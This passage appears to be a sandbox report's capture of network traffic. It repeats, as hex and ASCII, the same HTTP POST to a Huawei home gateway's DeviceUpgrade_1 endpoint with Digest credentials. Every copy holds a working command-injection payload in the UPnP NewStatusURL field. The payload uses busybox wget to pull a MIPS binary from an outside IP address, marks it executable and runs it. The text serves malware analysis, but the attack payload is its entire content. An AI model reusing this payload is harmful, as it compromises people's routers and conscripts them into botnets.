3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
